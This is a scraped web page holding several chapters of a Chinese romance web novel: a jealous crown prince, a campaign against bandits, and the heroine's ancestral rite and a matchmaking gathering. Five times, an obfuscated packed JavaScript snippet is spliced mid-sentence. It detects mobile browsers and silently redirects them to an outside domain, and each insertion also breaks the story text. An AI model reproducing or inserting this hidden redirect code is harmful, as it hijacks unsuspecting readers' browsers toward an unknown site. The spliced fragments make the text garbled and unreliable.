站在萧风岚的角度:他的晴晴已经都带他见哥哥了,虽说喻家人不太喜欢这门亲事,但她的态度坚定,那就是迟早的事。 所以,他必须捍卫属于自己的地位—— 闲杂人等,谁也别想在这个节骨眼跟他抢人! 可,被他扎心了的萧景明,想的却是: “清风,你觉得初晴是不是喜欢皇太叔?” 重点不是谁喜欢喻初晴,而是喻初晴喜欢谁! 清风将刚熬煮好的药送到他面前,应道:“县主是如何想的,属下不知。但殿下受伤,县主需要属下们去请才肯来给殿下治伤,而逍王殿下是她领着兄长去救回来的,也不曾需要逍王殿下那边遣人去请,她每日都会主动过去逍王殿下的营帐,亲手为逍王殿下换药。这的确是事实。” 越听,萧风岚的脸色越难看。 他将那又苦又臭的药一仰而尽,将药碗拍在桌上,怒道:“皇太叔惹猫逗狗倒是行,到底是哪里吸引了初晴?初晴拒绝做太子妃,拒绝成为未来大燕朝最尊贵的女人,竟退而求其次,选皇太叔?” 尤其是,想到从小到大,萧风岚都没个正形。一闯祸就知道去找父皇告状,学什么东西都不尽心。 一个闲散王爷,没有任何实权。 日常也没有任何势力跟他拉帮结派,纯纯一个混吃等死的纨绔。 喻初晴那样的人,怎么就看上萧风岚了呢? 是吧? 若不是看上了,怎么会对他这个太子这般疏离,却对萧风岚那般亲近! 清风哪儿能摸得清喻初晴的想法? 他猜测着道:“属下看,永安县主似乎不太追逐权势,反倒热衷于开医馆。济春堂被她经营得井井有条。难道,便是因为殿下是太子,她怕卷入皇权争斗中,才拒绝殿下的求亲的?” 明月在一旁说道:“属下倒是觉得,永安县主并非寻常女子。都说少女怀春,但咱们每次见她,永远都是淡定自若的模样,说难听点,看着很美丽,却好似没什么人情味。” 没有人情味,这倒是说对了。 偏偏,萧景明就是被她这种永远淡定吸引的。 他不喜欢柔弱女子,就喜欢这样情绪永远稳定的。 这样的女子,更适合做太子妃。 将来他登基,做一国之母,她非常合适。 “孤要尽快好起来。”他喃喃说了句,道:“必须赶在她从祖籍回帝京之前,先回帝京!” 尽快解决响马盗,以这功劳求赐婚。 到时候,无论喻初晴是否喜欢他,都得嫁。 不但是迫于皇权,更是迫于**! 见主子越发强硬了,清风迟疑着道:“可永安县主并非柔弱女子,殿下,想想南阳侯府背刺了她后,她是怎么对付南阳侯府的。” “那是因为,她离开了南阳侯府后,南阳侯府跟她已经没有关系了。”萧景明说道:“而若孤与她夫妻一体,宠辱与共,她那么聪明,肯定知道自己应当怎么做!” 明月感觉不太看好。 但,余光瞟见自家主子那不容反驳的眸光,觉得还是试试吧。 “那逍王殿下那边?”清风小声问。 萧景明着实想不到,半路杀出个程咬金,这个人竟然会是自己的皇太叔! 帝京优秀儿郎那么多,其他人成为他的情敌,他都不慌不惧。 可这皇太叔! 不是他在皇太叔面前自卑,而是…… 从小萧风岚调皮捣蛋,他乖巧懂事,父皇却总是惯着萧风岚,将萧风岚养成了个混世魔王。 他从小就对此很是不满,觉得父皇偏心。 后来母后同他说:父皇这样做,是为了他好。他是储君,必须学好。而萧风岚做个闲散王爷,越纨绔越好,这样才不容易影响他的地位! 之后,他才释怀的。 后来就再也没有过对萧风岚的不喜,多数是对皇太叔的纵容与对长辈的恭敬。 可如今…… 萧风岚跟他喜欢同一个女子! 那就不能忍了。 若萧风岚一定要跟他争夺,那就不要怪他为了捍卫自己的感情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15781528|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做出不理智的事! 萧景明能不能忍,对萧风岚来说,根本无所谓的。 他回了自己的营帐后,时间基本花在研究如何破敌上。 晴晴给的任务是:十一月前必须把响马盗解决,他们尽快回京! 他绝对是最听话的小情郎! “你们几个,有什么好主意么?” 将地形舆图打开,他屈指,用指骨在桌面上敲了敲,问渔樵耕读四人。 渔樵二人以武力见长,虽然也有几分脑筋,但这种排兵布阵的事,也只能是提点小建议。 还得看耕读二人。 耕看着那壶口一样的峡谷,道:“这条峡谷全程约摸十里地,实在是太长了!并且,峡谷很是狭窄,能容两辆马车并行,日常行人够用。可对于行军来说,他们可以在这十里地途中设下无数的陷阱,一旦兵马进入,很容易被人逐步击破。” 读说道:“是,别的陷阱也便不谈,只说投石车。两边的山壁都有非常合适投石的位置,我军若是强攻,牺牲太多!” “若是险胜……”听了他们俩对地形的分析,渔问:“是不是就不能算立功了?” 险胜,己方人马损失过重,那算什么功劳? 响马盗一万多人,太子领兵三万人,是对方的二倍多点。 经过拿下长宁郡的第一轮战役中,双方都有死伤; 淮明郡死伤较多,估测响马盗如今已经不到万数人马,而太子这边却还有两万多人马,是对方的三倍不止。 这般人数悬殊之下,倘使还要险胜…… 那就不是立功,回去后太子极有可能遭受申饬,御史台说不准要参他奏本! “立功与否,对本王来说无所谓。”萧风岚叹息,道:“骂也是骂太子,跟我关系不大。但……” 他忧愁地道:“晴晴在意。” 不是喻初晴在意太子是否挨骂,而是,喻初晴会在意这场战争死伤人数! 长宁淮明夏河一役,死伤太多。 他在长宁大营养伤的时候,曾听喻初晴感慨过一句:【兴,百姓苦;亡,百姓苦。】 第212章 老子讲战局,他讲情敌 响马盗之乱,抢的是百姓; 朝廷出兵围剿响马盗,死的是最底层的兵卒。 天下纷争,群雄逐鹿,兵灾之祸因高居王座之人而起,而他们自身却不损一根汗**。 盛世也好,乱世也罢,最苦难的无非是黎民百姓罢了! 当时萧风岚跟喻初晴说了这么一句:【想不到,晴晴竟然还有忧国忧民之心?】 喻初晴说:【不是忧国忧民,仅仅是希望风调雨顺、海晏河清。大环境好了,以我之能,随便做点什么都能成功;大环境差了,收获总是与付出不相匹配的。萧风岚,你不是要继承皇位的人,但我还是想说一句——你的衣食住行,其实都是民脂民膏。】 别的不说,就喻初晴说的话,萧风岚是会认真思考的。 这一句话虽然不好听,但他认真审视过后发现:的确如此! 他生下来就是天潢贵胄,虽说还在襁褓中父皇就没了,却得皇兄庇护。 后来母妃没有了,他又得皇帝侄子教养。 即便他一无是处,一辈子庸碌无为,荣华富贵都是注定的。 他自幼所**,付出的所有努力,是为了锦上添花,并不是为了吃饱饭。 而他所嚼用的每一两银子,都是分给皇室子弟的份例,那些银子最初从哪里来的呢? 国库。 皇家内库。 王府私库。 全都是收上来的赋税。 是来自于底层百姓的供养。 民脂、民膏! “晴晴说……”萧风岚回想着喻初晴的话,叹息一声,道:“她说,若她没有能力,便只能眼睁睁地看着。但,但凡她有能力解决的事,便想顺手做了。不是为了得到感激,也不是为了恩义之名,仅仅是她想做这些事。” 喻初晴说:但行好事、莫问前程。 做好事,不是为了得到感恩。 “所以……”读接着他的话,说道:“县主悄悄在整个大燕朝各地兴办私塾,对于那些念不起书的,她尽可能出银子。很多孤儿、小乞丐,也都被她收容进了她在各处的庄子、铺子做事。另外,还有一些老弱妇孺,她也都尽可能为他们寻求生计,授人以鱼不如授人以渔!” 这些事,也是这一年多来,他们一点点查到的。 喻初晴没有跟萧风岚提过半点。 萧风岚颔首:“是的。所以,这一战要打,但不能牺牲太多。那么,就要劳烦你们多费点脑力,想想如何突破了。” 耕问:“太子怎么说?” 萧风岚冷笑:“他一心都在怎么跟我抢女人上面,他还能怎么说?老子去问他战局,他跟老子讲情敌!” 渔说道:“堂堂的储君,领兵在外,却只想着儿女私情!” 只要想想萧景明想抢自己的女人,萧风岚心里就全都是郁气:“这个储君既然他当腻了,等回了帝京,老子一定把他薅下来!” 虽然他没有实权,皇帝也眼巴巴地把他养废。 但,只要他不想着**,皇帝对他几乎是有求必应。 他在朝中没有势力,拼不过太子的母族,但他有的是出其不意的方式。 挖坑给萧景明跳这种事,从小就做多了,再多挖几个能薅掉太子之位的坑,又何妨! “既如此,主子便不能让太子在此战中立太大的功劳。”读捧着一卷书册,说道:“今早做打算,堵死太子的路。” 耕甚至说道:“响马盗背后的主子,极有可能是三皇子萧金煜……王爷也不算借刀**,最多算见死不救!” 中间省了一段是:萧金煜做局想要弄死太子,肯定会想尽一切办法,让太子无法活着回帝京。 打完响马盗之后,归京途中,太子必定会遭遇一路暗杀。 他们只需要作壁上观就好了! 萧风岚皱了皱眉。 怎么说都是一起长大的侄孙,如果不是把他逼到一定份上,他是不会眼睁睁看着萧景明**的。 但是—— 他是个有主儿的男人了,很多打算都应当把晴晴算在内。 现在,他就盼着喻初晴早点从祖籍回来! “先不说萧景明了。”他把话题拉回来:“继续,看看有没有什么法子,能让我军顺利通过这条峡谷……” 八卦城。 回了祖籍几天,喻初晴感觉两辈子都没有这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787458|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么热闹过! 天天从早到晚,不断有人求见她。 真的,是“求见”! 当公主的那种尊贵感,油然而生。 但,她不喜欢冒尖儿的生活,是典型的人怕出名猪怕壮! 好在,她有哥哥弟弟。 喻昔词忙着准备祭祀的事,抓着喻慕文去帮忙了,喻尚武和喻今歌则是没什么事干,成了喻初晴的护花使者。 “这也太早了吧?你家姑娘难道要让她鸡鸣而起?” “哦,忘了,你家没有姑娘,没有宝贝姑娘的经验,不知道养姑娘得小心呵护!” “送吃的给我姐?好意心领了,不过还是算了。我姐这会儿忙着做自己的事呢。” “求见晴晴?见她做什么?祭祀不是马上要到了,到时候都能见到!” 喻氏本家的,他们都十分客气,找找借口就打发了。 八大家族中其他七族的人来,他们就脸色难看得多! 因为他们发现:那七大姓前来的,全都是适婚男子,言行举止都表达了同一个意思——想在喻初晴面前献殷勤,好得到她的青睐,最好能跟喻氏结亲! 从前都是他们各大家的姑娘嫁进喻家,喻家头一回有了姑娘,谁不想沾这份殊荣? 对于这类人,喻尚武直接一个大铁锤:“谁能接我一锤,就让谁见晴晴!” 开玩笑,不打萧风岚,那是喻初晴不让。 晴晴可没说,不能打这些人! 可即便有二哥和小弟的阻拦,每天来求见的人仍旧层出不穷。 喻初晴自己眼不见心不烦,只跟喻昔词提过一次:“我自己无所谓的,但一直让二哥和小弟得罪人,也不太好。” 忙里抽闲的喻昔词便道:“行,我去跟二叔说。” 二叔的阵法一出,这下好了,不用喻尚武和喻今歌出动,那些人自然就被阻拦在外了。 很快,来到了九月十五这一日。 祭祀宗庙,开始了! 一大早,喻初晴就被按在了镜子前,梳妆打扮! ——有错别字,大家留言评论,我看到了会截图,找个时间统一修改。谢谢大家捉虫! 第213章 男宠都不能带回来 喻初晴那边忙着梳妆打扮的时候,喻昔词今天终于没有前几天那么忙了。 白婉蓉用过早膳便说:“我过去看看晴晴那边有没有我帮得上忙的。” “听说尚武和今歌这几天拦了很多别有用心的?”喻惊鸿关心的是这个。 年轻人求爱的事,他这种老东西是不好意思插手的,只能让小辈去管。 但他们夫妻俩意见一致:“晴晴年纪还小,不急着成亲!” 白婉蓉道:“对,她才回来咱们身边多久啊,我可不想这么快就给她送嫁了!” 她甚至赞同几个儿子的“荒唐”说法:“还是给晴晴招赘吧!” “招赘也不能乱招!”喻惊鸿想到这几日求见喻初晴那些后生仔,道:“你以为他们就不愿意当赘婿?” 白婉蓉顿时语塞。 喻昔词忽然想起来先前就想跟父母商量的事,还没有找到机会说。 趁着话题说到这里了,他直接给父母放了一个重磅**:“爹、娘,晴晴她……有意中人!” “什么!”夫妻俩双双瞪眼,异口同声。 喻昔词叹了一口气,将最大的问题摆出来:“姓萧,是当今十六皇叔。爹娘应该见过,叫萧风岚!” 喻惊鸿、白婉蓉:“……” 天塌了! 女儿才接回来养了几天? 哦不,还不是他们养的,是她养着他们才对! 怎么能就有意中人了呢? 更要命的是:“她怎么会喜欢姓萧的?你们没跟她说吗?” “说了。”喻昔词看见父母面对惊涛骇浪的模样,心理平衡了:他最先知道时,也这副德行! 他据实以告:“晴晴的态度很坚定,表示我们不可挑剔对方姓氏,但允许我们以挑剔女婿的态度,来考验萧风岚。” “萧风岚……”喻惊鸿很快想起来:“那个看起来很油滑不着调的年轻皇叔?他的名声可不怎么好听,听说是个纨绔、混世魔王来着!” 对此,喻昔词倒是很中肯地说:“惹猫逗狗的混世魔王,皇家人对他都很头疼。但他品行还成,就在皇家内搞事,不会嚯嚯普通百姓。有时候还会被无辜百姓出头。” 不是帮萧风岚说话,而是认为:父母有知道真实情况的权利。 这是他身为长子的孝顺、教养。 “这样吗?”白婉蓉拧眉,道:“晴晴很喜欢吗?再喜欢,那也是姓萧的啊!” 喻惊鸿捏着她的手,道:“晴晴都说不让昔词以姓萧来反对了,肯定是很喜欢的。” 他又问:“昔词,晴晴的意思,莫非是要与那厮谈婚论嫁?” 喻昔词颔首:“是的。” 只不过,喻初晴的想法也是被萧景明逼的,让她自己选可能还想玩几年。 “那……”喻惊鸿与爱妻对视一眼,又问:“你们哥几个的意思呢?” 喻昔词苦笑:“爹,晴晴的事,哪里轮得到我们哥几个做主?” 这是一句绝杀! 喻惊鸿顿时无话可说。 白婉蓉则问:“这事儿,能跟你祖父说吗?咱们喻家唯一的姑娘,竟然还给人家萧家做媳妇,那绝对不行啊!” “那……”喻惊鸿提出另一种可能:“让萧家的小子给我们家做媳妇?” 白婉蓉:“……” 喻昔词无奈地道:“八卦城不欢迎任何一个姓萧的!” 别说做媳妇带回族地来,就算是做男宠都不能带! “可若不让晴晴带回来,她以后不回家了怎么办?”白婉蓉又提出一个问题。 喻惊鸿也无法回答。 喻昔词倒是不急着解决这件事,道:“爹,娘,我只是告诉你们,有这么一回事罢了。先看看吧。” “行。”喻惊鸿忧愁地摆摆手:“先把祭祀走完吧。” 喻初晴这边。 衣裳和首饰,都是特别定制的。 “这华贵程度,感觉比大燕朝的公主还要尊贵!” 因为配饰实在是太多、且太复杂,合欢和木棉忙得像小蜜蜂。 木棉笑道:“大燕朝的公主多得很,就是这一朝都有七八个。可咱们主子啊,是喻家独一份儿的!” 唯一的姑娘,五代单传,能不尊贵吗? 喻初晴叹息:“你俩就别蛐蛐我了,穿这一身搞一天下来,我脖子可能都要断了。” 穿戴送过来是喻昔词亲自来的,她提出反对:太复杂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787459|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 喻昔词用心疼的眼神看着她,却说:祭祀是大事,尤其是你头一次,以后也不需如此隆重。就忍忍吧。 反正就一天,她给家里人这个面子,认了! 但她也没想到,天刚亮就要起床,焚香沐浴、修容敷面,吃了一顿素食,紧接着就是梳妆打扮。 弄好后,辰时了。 喻昔词过来接她出门:“晴晴,好了么?” 这时候,兄弟几个也都过来了。 一个个都是盛装打扮,尤其是喻今歌。 他过去在帝京习惯了穿棉麻料子的衣裳,不为别的,就图耐造、好洗。 毕竟是个围裙小保姆嘛。 后来去了县主府,他也习惯了穿这类衣裳,只有在重要场合才会换上喻初晴命人给他做的好料子。 今天他穿的是一身宝蓝色的绫罗,显得贵气,又不失俏皮的款式。 尚未成年没能束发冠,扎着高马尾,看上去就是个飒爽少年。 喻今歌也是回来认祖归宗的,只不过喻家对男孩子的回归,没什么可兴奋的。 而他自己,也不是很在意这些,反而一看喻初晴,眼眸就发亮了:“哇,姐你穿的这个好漂亮!” “传说中的浮光锦?”喻慕文虽然仍旧是书生打扮,这身衣裳也是新做的。 比起平日里他穿的棉布袍子来说,今天这一身是丝绸的,显得有种飘飘欲仙的气质。 白玉发冠,左手挽了三圈的佛珠,更托显他气质出尘。 喻初晴低头看了一眼,笑道:“嗯,浮光锦。” 乍一看,是黑色的。 在光线的交错下,就能看到五彩斑斓。 真,五彩斑斓的黑! 交领缘边的刺绣全都是金丝绣线,领口绣着一只小小的**。 并没有重工刺绣,却显得她整个人高贵又艳丽。 未婚少女,还是半披发。云鬓高挽,发髻左右分别簪着三根金步摇。 “我姐平时真的是……”喻今歌双眸亮堂堂的:“你平日里太低调了,都呈现不出来你的完美气质!” “别尬吹。”喻初晴失笑地捏了捏他的脸,转头对几个哥哥道:“现在就出去?” 第214章 囧凤凰认祖归宗 “走走走,今天有得晴晴累的。”喻尚武仍旧扛着他的大铁锤,跟老婆似的。 他今天一反常态,穿了一身暗红色,衬托得他原本就漂亮的脸,更显美艳。 红粉少年,跟大铁锤真的是,极致反差! 喻昔词仍旧是稳重的打扮,比起在外行走江湖,他衣着也贵气很多。 头戴垂缨金冠,玄色缘金边的宽袍大袖,袖口和下方的衣摆上,绣着锦簇的四君子。 每走一步,那刺绣随风扬起,款款动人。 喻初晴感慨万千:垂缨的造型,还真不是小脸蛋的帅哥能驾驭的。除了俊美,还得端庄大气。 她大哥今日这气质,说他是完美的贵公子,真的一点儿也不带夸张的。 兄妹五人走到大宅门口,就见同样盛装打扮的喻修、喻惊鸿、白婉蓉站在那里。 外面更是等着一大群喻氏主支的人。 “好家伙,所有人都来了!”喻今歌小声叨叨了一句。 喻慕文瞧了他一眼,道:“这可是百年来最大的盛事了,能不能所有人都来了么?” 喻尚武道:“不仅是喻家人,其他七大族的,也都在外面等着呢。” 八卦城住着数万人,能来的都来了! “初晴!”喻修笑得见牙不见眼,朝喻初晴伸手:“来,祖父牵着你过去宗庙!” 从这里过去宗庙,并不算远。 喻氏大宅本就靠近,八卦城的圆心,中间隔着一条百米圆形大街——用现代人的话来讲,就是一个圆形广场,红墙绿瓦内,就是宗庙。 从大宅门口,一路红地毯铺到了宗庙门墙外面。 那叫一个奢华! 喻初晴今日这条浮光锦的裙子,裙后摆足足有六米长,一路在地毯上拖曳。 她的感觉不是认祖归宗,而是登基为帝! 八大家族的领袖喻修抬手,托着她的手一步步往宗庙走去,就好像扶持她登上帝位! 妈呀,这感觉,实在是太玄妙了,让她感觉自己每一步都踩在云端,软绵绵、轻飘飘的。 整个喻氏家族的人,夹道红地毯两旁,热切的目光看着她。 令她有种感觉:自己是国宝基地被围观、同时也被保护得超好的大熊猫! 外围更是有其他家族的人都在张望。 可不像大熊猫么! 好在,这段路也就百米,喻修牵着她迈进了宗庙的大门。 能进来的,便只有八大家族德高望重的族老。 喻修回头交代:“初晴、今歌,你们俩都是头一回祭拜祖先,先走大礼。晚点时候,尚武和慕文也再来拜一下!” 毕竟,这对孪生兄弟年纪特别小的时候离开了家,就再也没有回来过。 他们原本在宗谱上有名字,不用办得太隆重,但回归宗族,也要有所表示。 二人躬身为礼:“是,祖父!” 喻修便带着喻初晴进宗庙,面对五代灵位进行拜礼。 由老爷子亲自点香、烧纸、祝告。 无非是“咱们喻家终于破除诅咒,迎来了第一个女娃娃,期盼日后喻氏门庭可以多一些女娃承欢膝下……”之类的。 然后,便是简单介绍:“高祖在上,五代世孙孙女、喻氏初晴,今日起认祖归宗,求列祖列宗佑她平安顺遂、安康喜乐!” 说完回头:“初晴,你来上香,跪拜磕头!” 喻初晴接过族老双手捧过来的香炷,举过头顶:“喻氏初晴,认祖归宗!” 恭敬地拜了三下,然后族老接过香插在香炉鼎内。 喻初晴跪在蒲团上,磕了三个头。 摆在上方的族谱,翻到了五世孙那一页,由族老一笔一划地在“孙女”那一栏,郑重地写下“初晴”二字。 “礼成!” 喻修笑得更开心了,转头,面对喻今歌的时候,脸上还挂着温和的笑:“好了,小今歌,轮到你啦!” 喻今歌受宠若惊:“是,祖父!” 虽说祖父对他也不苛刻,还是挺温和的,所有男孙一视同仁,丝毫没有偏心眼。 但,此时祖父用的是对他姐的和蔼可亲,来面对他呀! 喻今歌也跪拜了列祖列宗后,他的名字也出现在族谱上,在五世孙的“孙子”那一栏,“慕文”的后面,写下了“今歌”二字。 到此,认祖归宗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792063|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的流程走完了。 接下来便是喻尚武喻慕文的跪拜。 然后,集体祭祀。 忙完这些后,午时都过去了。 喻修大手一挥:“好了,长街上流水席摆三天,大家都去用饭吧!” 流水席,便摆在圆弧长街上,绕宗庙一周。 但老爷子可舍不得自己的亲亲孙女去吃流水席,而是温和地对喻初晴说道:“初晴,咱们回府吃!” “好。”喻初晴的性格历来如此,基本是说什么都答应,特别好脾气、甚至像是没脾气的样子。 主要是,不是什么原则的事,不碰她底线就行。 喻昔词看着她温润的眉眼,心里盘算着:若祖父知晓她找了个姓萧的相好,提出反对,她肯定就不是这么好说话的了! 一行人刚刚回到喻氏大宅门口,就见三叔兴奋地飞奔过来:“父亲!思儿媳妇生了,便是刚刚!是个女娃!是个女娃啊,父亲!” 喻初晴一怔:“……” 妈呀,这么灵验的吗? 真破除诅咒了? 不是…… 真有诅咒这么玄乎的事儿吗! 所有人都愣住了,在三叔不断重复“是个女娃”下,喻修才反应过来,面露狂喜:“好事!天大的好事儿啊!列祖列宗有眼、老天开眼!” 喻初晴:“……” 她有种感觉:范进中举! 还在怔愣间,喻修突然转头,紧紧拉住她的手:“初晴果然是我喻家的**,福星啊!” 喻初晴:“……” 她心道:我感觉我现在是只囧凤凰! 太囧了! 不管怎么说,这是天降喜事。 整个喻家都振奋了,看向喻初晴的眼里,更是充满了狂热崇拜。 一瞬间,她觉得自己不是个普通人,而是个神! 不会以后所有生了女孩的,都要感激她吧? 她不是送女观音啊! 相对比喻家人的狂喜,以及其他七大族的喜悦,喻初晴就很淡定。 她心里盘算的是—— “三哥,你觉得我什么时候提出要走合适?” 第215章 着急回帝京? 这边喻家有女儿了,七大族喜悦也很正常。 毕竟一直以来,他们跟喻家联姻,只有女儿嫁进喻家的份儿,以后就能娶喻家的女儿了,性质是不一样的。 但这些至少十几年后的事,喻初晴自然不会现在就去想。 用过饭后,她说要去休息,俩哥一弟自然跟着。 喻修和喻昔词在待客,见她有点累,笑呵呵地道:“行行行,你去小憩片刻。等你休息好了,再出来见见其他七族的人!” 喻初晴:“……” 行,不是大小姐,是大熊猫! 而且,她有一种直觉——该不会他们想娶喻家女,不是等她的侄女,而是冲她来的吧? 在她这里,肯定没可能了! 回到自己的院子里,她看向喻慕文,提出了自己的想法:“三哥,你觉得我什么时候提出要走合适?” “姐,咱们才回来几天啊!”喻今歌有些诧异。 旋即又想道:“你该不会才分别没多久,就惦记着那个家伙了吧?” 相比三个哥哥,他对萧风岚的接受度要稍微好点。 他就觉得自己的姐姐最好,不是什么男人都能匹配的。 对姓萧不姓萧的,感觉不强烈。 喻慕文看着喻初晴,也道:“刚上完族谱你就要走?你觉得呢?” 不答反问。 喻初晴自己都知晓,这样肯定不太好。 但她确实惦记萧风岚那边的战况。 她吧,就是个操心的命。 或者说,她掌控欲太强,喜欢把所有事情都掌握在自己可控范围内。 “晴晴。”喻大美人看着她,道:“想走就跟大哥说呗,怎么说服祖父就是大哥的事了。你放心,大哥无所不能!” 喻慕文噗呲笑了:“好在大哥不在,不然大哥肯定给他一抽抽!” 别看喻昔词的红绸带是个软布料,抽人的时候要命的! “我就实话实说啊。”喻尚武身着红衣,看上去比平时更冷艳,理直气壮地道:“再说了,我那是夸大哥厉害!” 喻慕文摇摇头:“行,那你们去说吧。二哥,你帮晴晴说!” 听得喻今歌也忍不住笑起来:“我姐去说,啥事儿没有。二哥去说,肯定要挨揍!” 武力值不占优势,主打一个血脉压制! 喻初晴想想:“的确是这个道理,那我自己去跟祖父说吧,省得大哥要挨祖父骂。” 以她目前在家族里的金贵程度,她肯定是没事的。 “你真舍不得离开那家伙太久?”喻慕文皱眉,脸上的笑意全部都收敛了。 喻初晴却是摇摇头:“不是舍不得他,是有些事想掌控在自己手里。我在这里待越久,越多事情会在我掌控之外。我不喜欢出现意外,到时候打我一个措手不及。” 她感慨说道:“先不要说皇子争储会给我带来麻烦,就只说皇帝那边,也并不是一切都定数的。” 毕竟,皇帝身边还有个不知名的神秘女人! 一旦有什么事不在惯常轨道上,就容易出乱子。 一旦出乱子,就会影响她很多计划! “所以,你是着急回帝京?”喻慕文问:“我还以为,你打算去淮明郡,帮着他们打响马盗。” 喻初晴失笑,道:“打仗是男人负责的事,我不可能事无巨细什么都承担了。但帝京风云诡谲、变数太大,我不放心。” 其实,她原本也想,离开族地后便去跟萧风岚会合。 按原定计划,算时间应该差不多打完响马盗了。 收拾尾巴的事,交给萧景明去做,他们可以提早回帝京。 但! 她认真复盘了一遍这半年来的事,再一一推敲帝京的局势后,忽然觉得还是早一日回到帝京早好。 “姐。”喻今歌对住哪儿是完全没在意的,他只关注:“你留在族里不好吗?所有人都对你好,可安全了。也不用操心那么多事!” 喻尚武手臂一伸,揽住他的脖子给了他一个锁喉杀:“乱说什么呢?咱们晴晴是需要躲起来才安全的人吗!” 他主打一个支持:“晴晴,回去就回去,二哥陪你!你想打谁二哥就帮你打谁!” “嗯。”喻初晴笑道:“等回了帝京,还是要委屈你先在太子亲卫中待一段时间。等太子那边的事稳固了,再脱离出来。” 喻尚武在哪里都是练武,完全没差的:“好嘞!” 见他完全无脑的样儿,喻慕文无奈摇了摇头。 喻初晴挑眉,问:“三哥觉得不妥?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792064|169417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非也。”喻慕文轻轻摇头:“并非觉得你的安排有什么不妥,只觉得二哥真幸福!” 知足者常乐。 傻人有傻福。 喻尚武哼哼地道:“有句话叫啥来着?精多早死,情深不寿、慧极必伤!” 像他这种,脑子够用就行。 人的大部分病症,都从情志上来。思虑太多,的确是容易出问题的! 一句话,扎了在场二人的心口。 喻慕文:“……” 喻初晴:“……” 心口中了一箭! 喻今歌捂嘴偷笑:“我还是老实学医术吧,少想一点。” 兄妹几人笑笑闹闹,便各自歇息了。 喻初晴小睡了一觉,醒来后,换了新的一身衣裳,来到大厅见客。 没有拖曳的裙摆,还是浮光锦,不过不是黑色,而是五彩斑斓的白! 流光溢彩,美轮美奂。 随着她一步一摇,风情款款,楚楚动人。 “初晴来了!”喻修一看见她,便是眼前一亮,立即上前拉住她的手,宝贝地给厅内其他人介绍:“喻初晴,老夫的嫡嫡嫡亲孙女!” 其实,八卦城内几乎没有嫡庶之分。 有人才有生产力,为了发展人口,女人就很辛苦,像白婉蓉这样生四五胎的很多。 但,纳妾的没有。 也不知道从几代开始的,还是说在这八卦城娶的来来**就是八大家族的人,知根知底,谁家敢负心一个试试看,别说被其他家族的看不起,自家族人更是会把他往死里揍。 以至于百年发展下来,八卦城有约定俗成的一夫一妻制。 所以,无所谓嫡庶之分。 喻修这么说,就单纯是表达对孙女的看重。 其他七大族的族老,各自都带着自家优秀的小辈,适婚年龄、与喻初晴同辈分的,看着喻修嘚瑟得笑不拢嘴,都是一阵无语。 不过,也能理解吧。 “初晴见过各位长辈!”喻初晴倒是很淡定,面对那么多陌生人,并且肉眼可看出来的鸿门局,她面色淡然,从容自若。 接下来,轮到七大族的家主和族老,分别介绍自己带来的后辈。 喻初晴:“……” 大型相亲现场!